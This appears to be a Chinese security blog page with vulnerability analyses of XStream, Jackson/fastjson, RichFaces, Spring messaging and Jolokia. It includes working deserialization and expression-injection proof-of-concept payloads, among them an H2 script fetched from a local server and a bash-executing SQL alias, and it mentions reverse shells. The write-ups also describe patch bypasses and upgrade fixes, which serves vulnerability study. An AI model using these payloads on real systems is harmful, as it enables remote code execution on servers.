0c0c0f 发布的文章

CVE-2019-10173 Xstream 1.4.10版本远程代码执行漏洞

前言

XStream是常用的Java类库,用来将对象序列化成XML (JSON)或反序列化为对象。

漏洞简介

Xstream 1.4.10版本存在反序列化漏洞CVE-2013-7285补丁绕过。

漏洞危害

当使用Xstream 1.4.10版本且未对安全框架进行初始化时,攻击者即可通过精心构造的请求包在使用Xstream的服务器上进行远程代码执行。

影响范围

产品

Xstream

版本

Xstream1.4.10版本

组件

Xstream

漏洞复现

PoC

package com.bigo;

import com.thoughtworks.xstream.XStream;

import java.beans.EventHandler;
import java.io.IOException;
import java.util.Set;
import java.util.TreeSet;

/**
 * Created by cfchi on 2019/7/26.
 */
public class Main {
    public static String expGen(){
        XStream xstream = new XStream();
        Set<Comparable> set = new TreeSet<Comparable>();
        set.add("foo");
        set.add(EventHandler.create(Comparable.class, new ProcessBuilder("calc"), "start"));
        String payload = xstream.toXML(set);
        System.out.println(payload);
        return payload;
    }
    public static void main(String[] args) throws IOException {
        expGen();
        XStream xStream = new XStream();
        String payload = "<sorted-set>\n" +
                "    <string>foo</string>\n" +
                "    <dynamic-proxy>\n" +
                "    <interface>java.lang.Comparable</interface>\n" +
                "        <handler class=\"java.beans.EventHandler\">\n" +
                "            <target class=\"java.lang.ProcessBuilder\">\n" +
                "                <command>\n" +
                "                    <string>cmd.exe</string>\n" +
                "                    <string>/c</string>\n" +
                "                    <string>calc</string>\n" +
                "                </command>\n" +
                "            </target>\n" +
                "     <action>start</action>"+
                "        </handler>\n" +
                "    </dynamic-proxy>\n" +
                "</sorted-set>\n";
       xStream.fromXML(payload);
    }
}

1.4.7版本白名单

111.png

1.4.10版本,黑名单未开启

222.png

1.4.11版本,黑名单开启

blacklist

private class InternalBlackList implements Converter {
    private InternalBlackList() {
    }

    public boolean canConvert(Class type) {
        return type == Void.TYPE || type == Void.class || !XStream.this.securityInitialized && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."));
    }

    public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
        throw new ConversionException("Security alert. Marshalling rejected.");
    }

    public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
        throw new ConversionException("Security alert. Unmarshalling rejected.");
    }
}

333.png

修复方案

升级Xstream到1.4.11版本

参考

公众号

wx

Jackson CVE-2019-12384 Anatomy Of a Vulnerability Class

简介

FasterXML Jackson是一个用来序列化和反序列化JSON的Java开源框架。

漏洞影响

此利用链适用于fastjson最新版本1.2.58,利用条件lang=EN-US> (1)打开fastjson autotype开关lang=EN-US> ( 2)classpath存在h2lang=EN-US>lockback-core jar包。

Jackson PoC

PoC1

[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]

PoC2

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
 String[] command = {"bash", "-c", cmd};
 java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
 return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('open /Applications/Calculator.app')

PoC3

{\"@type\":\"ch.qos.logback.core.db.DriverManagerConnectionSource\", \"url\": \"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}

测试代码

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.utils.FeatureManager;

public class FastjsonPoc {
    public static void main(String[] args) {
//        System.setProperty("java.rmi.server.useCodebaseOnly", "false");
//        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//        System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase", "true");
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String poc="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Object\",\"autoCommit\":true}";

        String poc1 = "{\n" +
                "\t{\n" +
                "\t\t\"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
                "\t\t\"c\": {\n" +
                "\t\t\t\"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
                "\t\t\t\"driverClassLoader\": {\n" +
                "\t\t\t\t\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
                "\t\t\t},\n" +
                "\t\t\t\"driverClassName\": \"org.apache.log4j.spi$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dT$5bW$TI$Q$fe$daL$d2$c30$m$86$8b$m$5ep$d7K$A$c3$a8$eb$a2$C$eb$ae$m$m$9a$40$q$8a$c6$5d$l$9aI$83$83$c9L$ce$d0$a3$f9G$be$eaK$f0$y$e7$ec$e3$3e$f8$l$f6$8f$f8$m$5b$3d$J$Ck$f6h$ceIu$d7W$ddu$f9$aaz$3e$7e$fe$f3$_$A$d7$f1$c2$c2$AnX$f8$Z$93Z$dc$e4$b8$c5q$db$c2$U$a6$z$q1c$c1$c0$_$s$ee$e8$f5W$8e$df$yt$ea$e3$9d$b8kbV$afs$fa$ec$3d$8ey$T$L$s$W$z$f4$e3$3e$c7$S$c7$D$86$d4$8c$e7$7b$ea$OC$o3$ba$c6$60$cc$Fe$c9p$3c$e7$f9r9$aa$ae$cb$f0$b1X$af$Q$92$ce$F$ae$a8$ac$89$d0$d3z$L4$d4Ko$9b$e1t$ce$N$aa$cef$bd$o$d6$9d$z$e1$be$da$O$7c$87$iD$f5B$e0N3X$b2$$$ddH$c9$b9j$99$e1R$s$b7$r$5e$L$a7$o$fcM$a7$a8B$cf$df$9c$k$fd$g$o$df$VJA$c7mc$e3$b50p$e56$85$ee$3dd$$4A$b2$a7B$v$ca2d$Yl$9a$bd$c0$99$8d66d$u$cb$ab$b1E$fbW$b2$ae$Y$3ad$ddSk$a2$SQ$y$b6D$f0k$RN2$f4$l$f2$3b_weMy$81O$b7$S$ae$$$a2$ab$a8$a8$cc$bc$a8$c5$3cp$3c$e4$c8$c5$5d$99g0g$dcJ$8bR$ab$YD$a1$x$X$3c$cdU$d7$3e$p$T$da$b3$8d$93$Y$e4$c8$dbX$c6$8a$8d$C$k1$M$b4$cf$95ah$df$b0$e4$d7$oE$yHQm$da$u$ae$8dU$U$b5$bb$c7Z$3ca$80$8d5$3ce8$f9_$e2f$p$afBwl$3cC$89$8a$b5l$3c$c7S$h$bf$e3$P$e2$b1M$b9$94$R$f5$b5$w$fc$f2H$ab$83$p$h$82j$n$C$d2$w$88$dc$97$p$8e$aa$d6$9c$da$h$7fB$d5$95$8d$b38$c7p$ea$ffG$81$a1$e7$m$ca$ca$fa$96t$d5$R$a8$99$r$c3$89$afZz$E$5b$8d$7c$e5U$89QkS$aa$_J$7f$e6$f0$U$b5$60$ddf$9d$3a$c3$e5o$8c$dd$c1$ect$93$d7C$3c$T$8f$fb$9e$8f6$80$8e$Of$da$g$f4$3b$ea$3d0$b5$sN$a3$a6$9e$cb$5c$3c$d7$7d$99$b6S$9f$S$b5$9a$f4$89$e1$ecw$bd$93VK$e9$a2$a9$82$7d$fe$f8$h$e1$a9$85$m$8c$df$f4$S$ce$d3s$l$80$fe$r$c0$f4$d8$91$i$o$cd$a1$95$a6$F$c9$b1$j$b0$f7$b49$86S$qS1$d8$81a$e8I$8a$P$e04$ce$c4$Yu$b8y$99u$S$9a$q$ac$f8$B$c7$c6$gH$e4va$94v$91$y$8d7$90$da$B$df$81$99Ow$y$b3$v$e3J$DVi$ca$f8$h$e7v$d1Y$da$81$9dm$a0k$c8$m$91$ee$s$d1$c0$f1$e5$b7$7b$ff$d0$b5$9eI$p$fb$$$97N$bf$8b$83$d2$b3$c0$J$caX$a7$f4$D$cc8$Z$T$5d$94V7$a5$d1$83E$f4$nO$95$adPm$F$aaJ$a7$7b$l$9c$aa$bd$84$R$92$G$9d$5e$a4$9b$3f$92$b7a$dc$c0$F$5c$a4$C$cf$e2$g$d9$cf$93$df$3ci$97$91$a1s$F$d2F1$WG$zb$9c$ac$c0$V$fag$90$d8$p$r$c9$91$e5$98$e0p$e2M$W$f8$84$8b$7b$U$89i$85$c4U$8at$ed$L$ab$e3$zVy$ba$f7$D$fa$k$k$f0j$d1$K$e21E$i$O$c7$u$d1H_w$bd$fb$e9_$5e$b6$b6$k$ec$F$A$A\"\n" +
                "\t\t}\n" +
                "\t}\n" +
                "  \t:\"ddd\"\n" +
                "}";

        String poc2 = "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}\n";

        String poc3 = "{\"@type\":\"java.net.InetAddress\",\"val\":\"bigo.sg\"}";

        String poc4 = "{\"@type\":\"ch.qos.logback.core.db.DriverManagerConnectionSource\", \"url\": \"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}";
        Object obj= JSON.parseObject(poc4,Object.class);
    }
}

服务端监听等待连接:

nc.png

利用成功:

exp.png

漏洞原理

反序列化时会调用DriverManagerConnectionSource类的getConnection方法,getConnection方法中url参数客户端可控。

code.png

H2是内存数据库通过sql可以直接调用java代码,最终在DriverManager类的getConnection函数中触发执行,调用链如下:

code1.png

参考

RirchFaces反序列化漏洞

JSF介绍

JavaServer Faces(JSF)是一个为网络应用程序构建基于组件的用户界面的Java规范[1],并已通过JCP格式化为Java EE的一部分。

它也是一个MVC Web应用框架,通过在页面中使用可重用的UI组件简化了基于服务器的应用程序的用户界面(UI)。

JSF implementations: Mojarra/Myfaces(javax.faces-api/ jsf-impl+jsf-api / myfaces-impl+myfaces-api)

EL interfaces (javax.el-api /tomcat-jasper-el)

EL implementations: Jasper/Jboss (tomcat-jasper-el/ jasper-el / jboss-el)

Richfaces的安全历史安全问题都出现在资源处理程序处理请求方式上,执行流程如下:

获取处理过程相关的类,比如从URI中获取X,并且从参数do获取X的序列化状态对象

  1. 反序列化状态对象
  2. 创建X的一个实例并恢复其状态
  3. 处理X并产生匹配的响应(图像、视频、表格等)

RichFaces 3

3.1.0 ≤ 3.3.3: CVE-2013-2165

3.1.0 ≤ 3.3.4: RF-14310

RichFaces 4

4.0.0 ≤ 4.3.2: CVE-2013-2165

4.0.0 ≤ 4.5.4: CVE-2015-0279

4.5.3 ≤ 4.5.17: RF-14309

CVE-2013-2165: Arbitrary Java Deserializationin RichFaces 3.x ≤ 3.3.3 and 4.x ≤ 4.3.2

漏洞分析以及Exp

https://tint0.com/matesctf-2018-wutfaces-cve-2013-2165/

CVE-2015-0279: Arbitrary EL Evaluation inRichFaces 4.x ≤ 4.5.3 (RF-13977)

漏洞触发

/richfaces-showcase/rfRes/org.richfaces.resource.MediaOutputResource.jsf?do=

Exp见https://issues.jboss.org/browse/RF-13977

RF-14310: Arbitrary EL Evaluation inRichFaces 3.x ≤ 3.3.4

漏洞触发

org.richfaces.renderkit.html.Paint2DResource/DATA/

跟漏洞CVE-2015-0279/RF-13799类似,问题出现在org.richfaces.renderkit.html.Paint2DResource

这个类,当一个资源请求被调用,会调用他的send(ResourceContext)方法

传递的参数是org.richfaces.renderkit.html.Paint2DResource$ImageData对象,如图:

640_meitu_1.jpg

TagMethodExpression类的orig属性中包含el表达式,我们在构造poc的时候需要将恶意的的el表到时set进去。

漏洞利用的思路就是需要构造一个恶意ImageData对象里面包含我们自动定义的el表达式,el表达式可以是远程加载一个jar,也可以也写文件、反弹shell等

附一张利用成功的截图

640 (1).jpg

RF-14309: Arbitrary EL Evaluation inRichFaces 4.5.3 ≤ 4.5.17 NO CVE By pass CVE-2015-0279

CVE-2015-0279的补丁禁增加了contentProducer来处理特殊符号([^\\(]*)以缓解表达式注入问题。

640 (2).jpg

但是EL表达式支持定义函数映射和变量映射, 可以通过ELResolver解决函数(${prefix:name()})和变量(${var.property})映射到方法和表达式value的实例,richface 4.5.3版本中各种VariableMapper已经然如白名单中。所以利用这个特性,只需要在contentProducer方法表达式中使用变量,如$ {dummy.toString},并在方法表达式中添对应的VariableMapper,最终会映射到具体的ValueExpression

具体利用在RF13977基础上修改下:

640 (3).jpg

CVE-2018-12532

漏洞是在RF-14309基础上变形的payload稳定性更好。

Gadget的结构

Ljava.lang.Object[5]
 [0] = (java.lang.Boolean) false
 [3] = (javax.faces.component.StateHolderSaver)
   savedState = (org.apache.el.MethodExpressionImpl)
     expr = (java.lang.String) "foo.toString"
     varMapper =(org.apache.el.lang.VariableMapperImpl)
       vars = (Ljava.util.HashMap)
        {(java.lang.String)"foo":(java.lang.String)[EL_TO_INJECT]}

利用如下payload未能执行命令

EL表达式执行的三个限制:

  1. 限制1 EL总是会调用Class.getMethods()数组中名字相匹配的第一个方法,其他重载方法不会调用。
  2. 限制2 Jasper’s EL 的实现(tomcat-jasper-el) 7.0.53 to
    8.0.25的一个bug导致不能通过反射调用无参方法。
  3. 限制3只有Jasper的EL实现支持将参数列表隐式转换为args。其他的实现(例如jboss-el)args需要一个数组作为参数,所以需要构造一个数组。

最终的payload:

640 (4)_meitu_2.jpg

总结

需要对漏洞组件和java的些特性非常熟悉才能找到更多的绕过方式。

CVE-2018-1270 Remote Code Execution with spring-messaging

影响版本

  • Spring Framework 5.0 to 5.0.4
  • Spring Framework 4.3 to 4.3.14

漏洞分析

Spring Framework通过spring-messageing模块和STOMP代理对象通讯。根据漏洞描述可以知漏洞出现在spring-message模块 或者是 stomp-websockets模板块,下面逐一分析:

spring-websockets 模块

存在的敏感方法

@Nullable

public String[] decode(String content) throws IOException {
return (String[])this.objectMapper.readValue(content, String[].class);
}

反序列化使用的jackson组件,但是没有开启autotype功能,并且代码指定了反序列化类型为String[].class,利用jndi注入方式会导致异常,没有成功。

625fbd72201477f4d64f9b4a2e79a5a1.png

分析spring-message模块

DefaultSubscriptionRegistry类中方法addSubscriptionInternal存在expression = this.expressionParser.parseExpression(selector)(危险的SPEL表达式语句)。
根据上下文可以初步判定selector参数可以控制,但是了解SPEL注入的同学应该知道,要想达到代码执行,需要调用expression.getValue()或者expression.setValue()方法。继续寻找会发现该文件的154-164行调用了expression对象的getValue方法。

复现下漏洞的触发流程:

点击Connet按钮抓包

52b29eca6c5ea5429201c48c8ad96bee.png

修改请求报文,插入如下字段

\nselector:new java.lang.ProcessBuilder("/Applications/Calculator.app/Contents/MacOS/Calculator").start()

43ec3a11b117e9b86582d16d1922fc13.png

回到聊天窗口,发送任意消息即可触发恶意代码

c25b1fe4957ce9fcd465d867e1d010df.png

9d57f7cb1ad30ab1e747922601163798.png

586b85fa87889b1950535a76e5c25553.png

修复方案

  • 5.0.x users should upgrade to 5.0.5
  • 4.3.x users should upgrade to 4.3.15

漏洞二:xss vul in gs-messaging-stomp-websocket demo

2f1a64a5f7f2e688198fc8ffe5d805eb.png

Patch:https://github.com/spring-guides/gs-messaging-stomp-websocket/commit/6d68143e04ea1482b724c3f620688ec428089bc0

From:https://pivotal.io/security/cve-2018-1270

Jolokia JNDI Injection&XXE Vulnerability分析复现

0x01 JNDI Injection CVE-2018-1000130

1.1 什么是JNDI注入

参考:https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

1.2 漏洞复现

Jolokia的JNDI注入问题出现在jsr160模块,根据官方文档可以很容找到注入点

6.6. Proxy requests For proxy requests, POST must be used as HTTP method so that the given JSON request can contain an extra section for
the target which should be finally reached via this proxy request. A
typical proxy request looks like

{
    "type" : "read",
    "mbean" : "java.lang:type=Memory",
    "attribute" : "HeapMemoryUsage",
    "target" : {
         "url" : "service:jmx:rmi:///jndi/rmi://targethost:9999/jmxrmi",
         "user" : "jolokia",
         "password" : "s!cr!t"
    }
  }

根据补丁信息很容易确定漏洞位置:

url within the target section is a JSR-160 service URL for the target
server reachable from within the proxy agent. user and password are
optional credentials used for the JSR-160 communication.

1.png

1.3 漏洞利用

2.png

3.png

4.png

1.4 影响

5.png

1.5 漏洞Bypass

补丁信息,可以看到增加ldap的黑名单:service:jmx:rmi:///jndi/ldap:.*

https://github.com/rhuss/jolokia/commit/2f180cd0774b66d6605b85c54b0eb3974e16f034

6.png

但是JDNI注入支持的协议有LDAP、RMI、Cobra三种,所以补丁后还是存在问题的。

7.png

8.png

0x02 XXE Vulnerability In PolicyDescriptor Class

2.1 漏洞复现

9.png

10.png

11.png

12.png

2.2 漏洞利用

由于对Jolokia不熟悉,目前还没有找到用户可控输入点。

0x03 参考